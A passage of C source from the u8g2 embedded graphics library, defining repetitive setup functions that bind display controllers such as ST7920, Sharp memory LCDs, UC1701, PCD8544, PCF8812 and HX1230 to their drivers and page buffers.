u8x8_cad_st7920_spi, byte_cb, gpio_and_delay_cb); buf = u8g2_m_18_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 2 */ void u8g2_Setup_st7920_s_144x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_144x32, u8x8_cad_st7920_spi, byte_cb, gpio_and_delay_cb); buf = u8g2_m_18_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 f */ void u8g2_Setup_st7920_s_144x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_144x32, u8x8_cad_st7920_spi, byte_cb, gpio_and_delay_cb); buf = u8g2_m_18_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 */ /* st7920 1 */ void u8g2_Setup_st7920_p_160x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_160x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 2 */ void u8g2_Setup_st7920_p_160x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_160x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 f */ void u8g2_Setup_st7920_p_160x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_160x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 */ /* st7920 1 */ void u8g2_Setup_st7920_160x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_160x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 2 */ void u8g2_Setup_st7920_160x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_160x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 f */ void u8g2_Setup_st7920_160x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_160x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 */ /* st7920 1 */ void u8g2_Setup_st7920_s_160x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_160x32, u8x8_cad_st7920_spi, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 2 */ void u8g2_Setup_st7920_s_160x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_160x32, u8x8_cad_st7920_spi, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 f */ void u8g2_Setup_st7920_s_160x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_160x32, u8x8_cad_st7920_spi, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 */ /* st7920 1 */ void u8g2_Setup_st7920_p_192x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_192x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 2 */ void u8g2_Setup_st7920_p_192x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_192x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 f */ void u8g2_Setup_st7920_p_192x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_192x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 */ /* st7920 1 */ void u8g2_Setup_st7920_192x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_192x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 2 */ void u8g2_Setup_st7920_192x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_192x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 f */ void u8g2_Setup_st7920_192x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_192x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 */ /* st7920 1 */ void u8g2_Setup_st7920_s_192x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_192x32, u8x8_cad_st7920_spi, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 2 */ void u8g2_Setup_st7920_s_192x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_192x32, u8x8_cad_st7920_spi, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 f */ void u8g2_Setup_st7920_s_192x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_192x32, u8x8_cad_st7920_spi, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 */ /* st7920 1 */ void u8g2_Setup_st7920_p_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 2 */ void u8g2_Setup_st7920_p_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 f */ void u8g2_Setup_st7920_p_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 */ /* st7920 1 */ void u8g2_Setup_st7920_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 2 */ void u8g2_Setup_st7920_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 f */ void u8g2_Setup_st7920_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 */ /* st7920 1 */ void u8g2_Setup_st7920_s_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_128x64, u8x8_cad_st7920_spi, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 2 */ void u8g2_Setup_st7920_s_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_128x64, u8x8_cad_st7920_spi, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 f */ void u8g2_Setup_st7920_s_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_128x64, u8x8_cad_st7920_spi, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* ls013b7dh03 */ /* ls013b7dh03 1 */ void u8g2_Setup_ls013b7dh03_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ls013b7dh03_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* ls013b7dh03 2 */ void u8g2_Setup_ls013b7dh03_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ls013b7dh03_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* ls013b7dh03 f */ void u8g2_Setup_ls013b7dh03_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ls013b7dh03_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* ls027b7dh01 */ /* ls027b7dh01 1 */ void u8g2_Setup_ls027b7dh01_400x240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ls027b7dh01_400x240, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_50_30_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } void u8g2_Setup_ls027b7dh01_m0_400x240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ls027b7dh01_m0_400x240, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_50_30_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* ls027b7dh01 2 */ void u8g2_Setup_ls027b7dh01_400x240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ls027b7dh01_400x240, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_50_30_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } void u8g2_Setup_ls027b7dh01_m0_400x240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ls027b7dh01_m0_400x240, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_50_30_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* ls027b7dh01 f */ void u8g2_Setup_ls027b7dh01_400x240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ls027b7dh01_400x240, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_50_30_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } void u8g2_Setup_ls027b7dh01_m0_400x240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ls027b7dh01_m0_400x240, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_50_30_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* ls013b7dh05 */ /* ls013b7dh05 1 */ void u8g2_Setup_ls013b7dh05_144x168_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ls013b7dh05_144x168, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_18_21_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* ls013b7dh05 2 */ void u8g2_Setup_ls013b7dh05_144x168_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ls013b7dh05_144x168, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_18_21_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* ls013b7dh05 f */ void u8g2_Setup_ls013b7dh05_144x168_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ls013b7dh05_144x168, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_18_21_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* uc1701 */ /* uc1701 1 */ void u8g2_Setup_uc1701_ea_dogs102_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1701_ea_dogs102, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_13_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1701 2 */ void u8g2_Setup_uc1701_ea_dogs102_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1701_ea_dogs102, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_13_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1701 f */ void u8g2_Setup_uc1701_ea_dogs102_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1701_ea_dogs102, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_13_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1701 */ /* uc1701 1 */ void u8g2_Setup_uc1701_mini12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1701_mini12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1701 2 */ void u8g2_Setup_uc1701_mini12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1701_mini12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1701 f */ void u8g2_Setup_uc1701_mini12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1701_mini12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* pcd8544 */ /* pcd8544 1 */ void u8g2_Setup_pcd8544_84x48_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_pcd8544_84x48, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_11_6_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* pcd8544 2 */ void u8g2_Setup_pcd8544_84x48_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_pcd8544_84x48, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_11_6_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* pcd8544 f */ void u8g2_Setup_pcd8544_84x48_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_pcd8544_84x48, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_11_6_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* pcf8812 */ /* pcf8812 1 */ void u8g2_Setup_pcf8812_96x65_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_pcf8812_96x65, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_9_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* pcf8812 2 */ void u8g2_Setup_pcf8812_96x65_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_pcf8812_96x65, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_9_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* pcf8812 f */ void u8g2_Setup_pcf8812_96x65_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_pcf8812_96x65, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_9_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* hx1230 */ /* hx1230 1 */ void u8g2_Setup_hx1230_96x68_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_hx1230_96x68, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_9_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* hx1230 2 */ void u8g2_Setup_hx1230_96x68_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_hx1230_96x68, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_9_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* hx1230 f */ void u8g2_Setup_hx1230_96x68_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, 